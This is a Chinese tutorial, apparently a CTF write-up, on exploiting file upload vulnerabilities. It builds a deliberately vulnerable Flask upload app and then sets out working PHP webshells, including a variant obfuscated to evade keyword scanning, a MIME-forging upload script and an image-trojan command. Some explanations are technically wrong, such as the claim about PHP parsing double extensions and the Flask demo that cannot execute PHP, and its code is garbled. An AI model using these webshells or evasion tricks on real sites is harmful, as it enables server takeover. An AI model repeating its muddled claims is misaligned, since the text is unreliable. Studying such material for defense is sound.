一、从文件上传功能说起
文件上传功能几乎是每个现代化Web应用的标配,无论是用户头像上传、文档存储,还是图片分享,上传模块都在其中扮演着重要角色。然而,正是因为这类功能需要接受用户提交的文件,稍有不慎,就可能沦为攻击者的突破口。
回想一次CTF比赛,题目背景是一个在线文档管理平台,允许用户上传PDF文件进行共享。虽然表面上功能简单,但凭借上传入口,我成功挖掘出了一个文件上传漏洞,甚至进一步渗透到了后台系统。大多数文件上传漏洞都源于文件格式校验、文件路径处理、权限隔离等逻辑问题,下面我会结合这一实战案例,深入分析文件上传漏洞的原理、利用方法以及绕过技巧。
---
二、漏洞的成因剖析
文件上传漏洞的本质在于服务器对用户上传内容的信任度过高,而这种信任可以在多个环节被利用:

1. 文件类型校验不严
有的系统仅通过文件后缀名来判断文件类型,比如 .jpg、.pdf 等,而攻击者可以通过伪造文件名后缀,绕过校验。例如,将 shell.php 改名为 shell.php.jpg,如果服务端校验不够严格,这份恶意代码就可能被上传。
2. MIME类型验证不足
有的系统会在上传时检查文件的 MIME 类型(如 image/jpeg、application/pdf),但这种校验往往依赖客户端浏览器提供的 Content-Type 字段,攻击者可以直接伪造请求,修改其值。
3. 文件存储路径暴露
上传后的文件如果存储在一个攻击者可访问的路径(如 http://example.com/uploads/),那么攻击者可以直接利用这个路径访问并执行上传的恶意代码。
4. 解析逻辑漏洞
一些服务端脚本解析器(如 PHP)存在特殊的解析漏洞。例如,某些情况下文件名可以包含双扩展名(如 file.php.jpg),而 PHP 解析器只识别第一个扩展名,这会导致文件被当作 PHP 脚本执行。
总结:文件上传漏洞利用的核心是如何让服务器接受并执行我们注入的恶意文件,这决定了后续的攻击链。
---
三、实战环境:搭建一个易受攻击的例子
为了精确重现,我自己搭建了一个简单的文件上传功能。以下是环境的基本代码实现(基于 Python 的 Flask 框架):
<pre><code class="language-python">from flask import Flask, request, redirect, url_for, render_template import os
app = Flask(__name__) UPLOAD_FOLDER = './uploads' ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def allowed_file(filename):
检查文件后缀是否在允许列表中
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST':
检查是否有文件
if 'file' not in request.files: return "No file part" file = request.files['file'] if file.filename == '': return "No selected file" if file and allowed_file(file.filename):
保存文件到指定路径
filename = file.filename filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) file.save(filepath) return f"File uploaded successfully: {url_for('uploaded_file', filename=filename)}" return render_template('upload.html')
@app.route('/uploads/<filename>') def uploaded_file(filename):
通过静态路径访问上传的文件
return f"File is accessible at: /uploads/{filename}"
if __name__ == '__main__': if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) app.run(debug=True)</code></pre>
简单说明一下这个代码的逻辑:
- 通过 Flask 框架实现了一个文件上传功能;
- 仅允许
.png、.jpg、.jpeg等常见图片格式; - 上传后将文件存储在
./uploads文件夹中,且通过 URL 直接访问。

如果你对 Web 攻击熟悉,应该已经发现了几个潜在漏洞,我们接下来动手验证。
---
四、上传绕过:从构造到执行的完整链条
1. 文件扩展名绕过
如果服务端只通过后缀名校验文件类型,我们可以伪造后缀。例如,将恶意脚本 shell.php 改名为 shell.php.jpg。使用工具如 Burp Suite 截获上传请求,手动更改文件名即可。
构造一个简单的攻击文件 shell.php,内容如下:
<pre><code class="language-php"><?php system($_GET['cmd']); ?></code></pre>
接着通过 POST 请求上传并访问文件路径 /uploads/shell.php.jpg,如果能够成功执行 cmd 参数中的命令,就意味着漏洞存在。
2. MIME 类型伪造
上传时,很多服务端会检验文件的 Content-Type,比如限制为 image/jpeg。我们可以通过工具修改 HTTP 请求头,伪造合法的 MIME 类型。例如使用 Python:
<pre><code class="language-python">import requests
url = 'http://127.0.0.1:5000' files = {'file': ('shell.php', open('shell.php', 'rb'), 'image/jpeg')} response = requests.post(url, files=files)
print(response.text)</code></pre>
这段代码将名为 shell.php 的文件伪装为图片上传,即便服务端校验了 MIME 类型,仍然可能被绕过。
3. 特殊解析路径
假设服务端的文件存储路径为 /uploads/,上传后的恶意文件可能被访问到且执行。通过双扩展名(如 shell.php.jpg),或者伪造 .htaccess 文件来修改解析规则,进一步提升攻击效果。

---
五、绕过杀招:真正的免杀技巧
1. 文件内容混淆
某些防御系统会扫描文件内容,例如搜索敏感的关键词 system() 或 PHP 的 <?php 标签。我们可以对恶意代码进行混淆,例如:
<pre><code class="language-php"><?php $cmd = 'sys'.'tem'; $cmd($_GET['cmd']); ?></code></pre>
这种方式通过简单的字符串拼接即可绕过关键词扫描。
2. 图片马伪装
将恶意代码嵌入到正常图片中,既能通过文件格式验证,又不容易被发现。例如使用工具生成图片木马:
<pre><code class="language-bash">cat shell.php >> image.jpg</code></pre>
这样生成的文件既是合法图片,又包含恶意代码,当解析器处理时可能会优先执行代码。
---
六、防御与检测:如何让攻击者无功而返
作为攻击者,我常见的防御手段包括:
- 文件类型双重验证:不仅校验文件扩展名,还需检查 MIME 类型并对文件头进行签名验证。
- 随机文件名存储:上传后的文件名应随机生成,避免攻击者猜测路径。
- 隔离上传目录:将上传目录配置为不可执行脚本的静态路径,例如在 Nginx 中设置:
`nginx location /uploads/ { deny all; return 403; } `
无论是防御者还是攻击者,都需要不断学习对方的技巧,才能在这场攻防较量中占得一席之地。
---
七、实战心得:文件上传漏洞的反思
每次攻克文件上传漏洞,我都会感慨其威力的强大。它不仅是一个普通的应用漏洞,更常在整条攻击链条中扮演重要角色。通过这一入口,我们可以轻松拿到 Webshell,甚至深入内网。与此同时,防守方也必须意识到,文件上传功能是高危模块,任何细节疏漏都可能导致严重后果。
希望大家在研究这些技术时,始终遵守法律与道德底线,将其应用在合法授权的环境中。祝你玩得尽兴!